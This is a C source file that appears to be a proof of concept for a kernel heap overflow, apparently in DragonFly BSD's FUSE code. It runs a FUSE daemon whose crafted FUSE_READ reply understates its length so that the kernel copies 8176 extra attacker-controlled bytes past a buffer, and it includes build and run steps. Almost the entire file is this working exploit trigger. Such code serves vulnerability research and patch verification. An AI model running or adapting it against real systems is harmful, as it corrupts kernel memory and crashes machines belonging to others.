/*
 * DF-0915 — Live FUSE daemon that triggers the real kernel heap overflow.
 *
 * The daemon (must be started by root on default GENERIC: /dev/fuse is 0660
 * root:operator and caps_priv_check(SYSCAP_NOMOUNT_FUSE) requires uid 0):
 *
 *   1. opens /dev/fuse (fuse_device_open attaches the per-fd fuse_mount),
 *   2. forks; the CHILD calls mount("fuse", "/mnt/fuse", ...) with that fd
 *      (mount() blocks inside the kernel on FUSE_INIT until the PARENT answers),
 *   3. the PARENT runs the /dev/fuse I/O loop, replying to FUSE_INIT/STATFS/
 *      LOOKUP/GETATTR/OPEN and — crucially — FUSE_READ with a crafted reply
 *      whose ohd->len CLAIMS 4096 data bytes (== the requested read size, so
 *      fuse_audit_length passes) but whose actual write is 12288 bytes,
 *      driving the consumer memcpy:
 *
 *        memcpy(bp->b_data, fuse_out_data(fip), fuse_out_data_size(fip));
 *        // = memcpy(bp->b_data[4096], ..., 12288-16 = 12272)  -> 8176 B overflow
 *
 *   4. after mount() returns, the CHILD opens /mnt/fuse/pwned and read()s it;
 *      the read goes through bread_kvabio(4096) -> strategy -> fuse_io_thread
 *      -> fuse_io_execute -> FUSE_READ IPC -> the malicious reply above.
 *
 * Build:  cc -O2 -o fused fused.c
 * Run:    (as root) mkdir -p /mnt/fuse && ./fused
 */
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/wait.h>

/* ---- FUSE ABI (transcribed from sys/vfs/fuse/fuse_abi.h) ---- */
#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1

#define FUSE_LOOKUP   1
#define FUSE_FORGET   2
#define FUSE_GETATTR  3
#define FUSE_STATFS   17
#define FUSE_OPEN     14
#define FUSE_READ     15
#define FUSE_INIT     26

struct fuse_in_header  { uint32_t len, opcode; uint64_t unique, nodeid; uint32_t uid, gid, pid, padding; };
struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; };
struct fuse_init_in    { uint32_t major, minor, max_readahead, flags; };
struct fuse_init_out   { uint32_t major, minor, max_readahead, flags; uint16_t max_background, congestion_threshold; uint32_t max_write, time_gran; uint16_t max_pages, padding; uint32_t unused[8]; };
struct fuse_attr       { uint64_t ino, size, blocks, atime, mtime, ctime; uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding; };
struct fuse_entry_out  { uint64_t nodeid, generation, entry_valid, attr_valid; uint32_t entry_valid_nsec, attr_valid_nsec; struct fuse_attr attr; };
struct fuse_attr_out   { uint64_t attr_valid; uint32_t attr_valid_nsec, dummy; struct fuse_attr attr; };
struct fuse_open_out   { uint64_t fh; uint32_t open_flags, padding; };
struct fuse_getattr_in { uint32_t getattr_flags, dummy; uint64_t fh; };
struct fuse_read_in    { uint64_t fh, offset; uint32_t size, read_flags; uint64_t lock_owner; uint32_t flags, padding; };
struct fuse_kstatfs    { uint64_t blocks, bfree, bavail, files, ffree; uint32_t bsize, namelen, frsize, padding; uint32_t spare[6]; };
struct fuse_statfs_out { struct fuse_kstatfs st; };

struct fuse_mount_info { int flags; int fd; int max_read; const char *subtype; const char *from; };

#define OVERFLOW_TOTAL  12288   /* bytes the daemon actually writes              */
#define CLAIMED_OHD_LEN 4112    /* ohd->len the daemon claims (16 + 4096)        */
#define READ_REQ_SIZE   4096    /* bp->b_bcount the kernel asks for (FUSE_BLKSIZE) */

static int g_fd = -1;
static FILE *g_log;

static void dlog(const char *fmt, ...) {
    va_list ap; va_start(ap, fmt);
    fprintf(g_log, "[daemon %d] ", (int)getpid());
    vfprintf(g_log, fmt, ap);
    va_end(ap);
    fflush(g_log);
}

/* read one full FUSE request (header + payload) from /dev/fuse */
static int read_request(int fd, uint8_t *buf, size_t bufsz, struct fuse_in_header *ihd) {
    ssize_t n = read(fd, buf, bufsz);
    if (n <= 0) { dlog("read req failed: %s\n", strerror(errno)); return -1; }
    if ((size_t)n < sizeof(*ihd)) { dlog("short read %zd\n", n); return -1; }
    memcpy(ihd, buf, sizeof(*ihd));
    return 0;
}

/* write a reply: header + optional payload, with claimed ohd->len possibly
 * differing from the actual number of bytes written (the DF-0915 trigger). */
static void send_reply(int fd, uint64_t unique, int32_t error,
                       const void *payload, size_t payload_len,
                       uint32_t claimed_ohd_len_override) {
    size_t actual = sizeof(struct fuse_out_header) + payload_len;
    uint8_t *out = calloc(1, actual);
    struct fuse_out_header *ohd = (struct fuse_out_header *)out;
    ohd->unique = unique;
    ohd->error  = error;
    ohd->len    = claimed_ohd_len_override ? claimed_ohd_len_override : (uint32_t)actual;
    if (payload && payload_len)
        memcpy(out + sizeof(*ohd), payload, payload_len);
    ssize_t w = write(fd, out, actual);
    dlog("reply unique=%ju opcode-reply error=%d payload=%zu actual_write=%zd "
         "claimed_ohd->len=%u %s\n",
         (uintmax_t)unique, error, payload_len, w, ohd->len,
         (claimed_ohd_len_override && claimed_ohd_len_override != actual) ?
             "<<<<< DF-0915 TRIGGER (ohd->len LIED, audit sees this, consumer sees actual)" : "");
    free(out);
}

static void make_attr(struct fuse_attr *a, uint64_t ino) {
    memset(a, 0, sizeof(*a));
    a->ino  = ino;
    if (ino == FUSE_ROOT_ID) {
        a->mode = 0040755;     /* S_IFDIR | 0755  (root node is a VDIR) */
        a->nlink = 2;
        a->size = 4096;
    } else {
        a->mode = 0100644;     /* S_IFREG | 0644  (regular file) */
        a->nlink = 1;
        a->size = 8192;        /* must be > 0 so reads proceed */
    }
    a->blksize = 4096;
    a->blocks = (a->size + 511) / 512;
}

static void daemon_loop(int fd) {
    dlog("I/O loop started on fd %d\n", fd);
    for (;;) {
        uint8_t req[65536];
        struct fuse_in_header ihd;
        if (read_request(fd, req, sizeof(req), &ihd) < 0)
            return;
        dlog("REQ opcode=%u unique=%ju nodeid=%ju len=%u\n",
             ihd.opcode, (uintmax_t)ihd.unique, (uintmax_t)ihd.nodeid, ihd.len);

        switch (ihd.opcode) {
        case FUSE_INIT: {
            struct fuse_init_out io;
            memset(&io, 0, sizeof(io));
            io.major = FUSE_KERNEL_VERSION;
            io.minor = FUSE_KERNEL_MINOR_VERSION;
            io.max_readahead = 4096;
            io.max_write = 1 << 20;
            io.max_pages = 256;
            send_reply(fd, ihd.unique, 0, &io, sizeof(io), 0);
            break;
        }
        case FUSE_STATFS: {
            struct fuse_statfs_out so;
            memset(&so, 0, sizeof(so));
            so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096;
            send_reply(fd, ihd.unique, 0, &so, sizeof(so), 0);
            break;
        }
        case FUSE_LOOKUP: {
            /* the name follows the header; reply with a regular file entry */
            struct fuse_entry_out eo;
            memset(&eo, 0, sizeof(eo));
            eo.nodeid = 2;            /* fake inode for /mnt/fuse/pwned */
            eo.generation = 1;
            eo.entry_valid = 3600; eo.attr_valid = 3600;
            make_attr(&eo.attr, 2);
            send_reply(fd, ihd.unique, 0, &eo, sizeof(eo), 0);
            break;
        }
        case FUSE_GETATTR: {
            struct fuse_attr_out ao;
            memset(&ao, 0, sizeof(ao));
            ao.attr_valid = 3600;
            make_attr(&ao.attr, ihd.nodeid);   /* type must match fnp->type */
            send_reply(fd, ihd.unique, 0, &ao, sizeof(ao), 0);
            break;
        }
        case FUSE_OPEN: {
            struct fuse_open_out oo;
            memset(&oo, 0, sizeof(oo));
            oo.fh = 1;
            send_reply(fd, ihd.unique, 0, &oo, sizeof(oo), 0);
            break;
        }
        case FUSE_READ: {
            struct fuse_read_in *fri = (struct fuse_read_in *)(req + sizeof(ihd));
            dlog("  FUSE_READ fh=%ju offset=%ju size=%u -> replying %d actual bytes "
                 "claiming ohd->len=%u (DF-0915: consumer will memcpy %d B into %u B bp)\n",
                 (uintmax_t)fri->fh, (uintmax_t)fri->offset, fri->size,
                 OVERFLOW_TOTAL, CLAIMED_OHD_LEN,
                 OVERFLOW_TOTAL - (int)sizeof(struct fuse_out_header), fri->size);
            /* build OVERFLOW_TOTAL bytes: 16B header + (4096 valid) + (8176 overflow)
             * all attacker-controlled; consumer memcpy copies all OVERFLOW_TOTAL-16. */
            uint8_t payload[OVERFLOW_TOTAL - 16];
            memset(payload, 0x41, sizeof(payload));           /* 0x41 = 'A' marker */
            send_reply(fd, ihd.unique, 0, payload, sizeof(payload), CLAIMED_OHD_LEN);
            dlog("  >>> malicious READ reply sent; kernel memcpy will overflow bp->b_data "
                 "by %ld bytes. Expect panic/corruption. <<<<\n",
                 (long)(OVERFLOW_TOTAL - 16 - READ_REQ_SIZE));
            break;
        }
        case FUSE_FORGET:
            /* no reply expected */
            dlog("  FUSE_FORGET (no reply)\n");
            break;
        default:
            dlog("  unhandled opcode %u -> ENOSYS\n", ihd.opcode);
            send_reply(fd, ihd.unique, -ENOSYS, NULL, 0, 0);
            break;
        }
    }
}

static int child_mount_and_trigger(int fd) {
    struct fuse_mount_info args;
    memset(&args, 0, sizeof(args));
    args.fd   = fd;
    args.from = "/dev/fuse";
    args.max_read = 1 << 20;

    /* mkdir mountpoint just in case */
    mkdir("/mnt/fuse", 0755);

    dlog("child: mount(fuse, /mnt/fuse, fd=%d)\n", fd);
    if (mount("fuse", "/mnt/fuse", 0, &args) < 0) {
        dlog("child: mount failed: %s\n", strerror(errno));
        return 1;
    }
    dlog("child: mount succeeded; opening /mnt/fuse/pwned\n");

    /* small delay so daemon loop is ready */
    usleep(100000);

    int ff = open("/mnt/fuse/pwned", O_RDONLY);
    if (ff < 0) {
        dlog("child: open /mnt/fuse/pwned failed: %s\n", strerror(errno));
        return 1;
    }
    dlog("child: opened; issuing read() -> triggers FUSE_READ -> overflow\n");
    char rb[4096];
    ssize_t r = read(ff, rb, sizeof(rb));   /* THIS triggers the malicious reply */
    dlog("child: read returned %zd (errno=%s); if we got here, kernel may already "
         "be corrupted\n", r, strerror(errno));
    close(ff);
    return 0;
}

int main(int argc, char **argv) {
    g_log = fopen("/tmp/df0915_daemon.log", "w");
    if (!g_log) g_log = stderr;
    setvbuf(g_log, NULL, _IOLBF, 0);

    signal(SIGPIPE, SIG_IGN);

    g_fd = open("/dev/fuse", O_RDWR);
    if (g_fd < 0) {
        dlog("open /dev/fuse failed: %s (need root + operator group)\n", strerror(errno));
        return 2;
    }
    dlog("opened /dev/fuse fd=%d\n", g_fd);

    pid_t pid = fork();
    if (pid < 0) { dlog("fork failed: %s\n", strerror(errno)); return 3; }
    if (pid == 0) {
        /* child: mount + trigger */
        int rc = child_mount_and_trigger(g_fd);
        dlog("child exiting rc=%d\n", rc);
        _exit(rc);
    }
    /* parent: I/O daemon loop */
    daemon_loop(g_fd);
    int st;
    waitpid(pid, &st, 0);
    dlog("parent: child status=%d; done\n", st);
    close(g_fd);
    fclose(g_log);
    return 0;
}
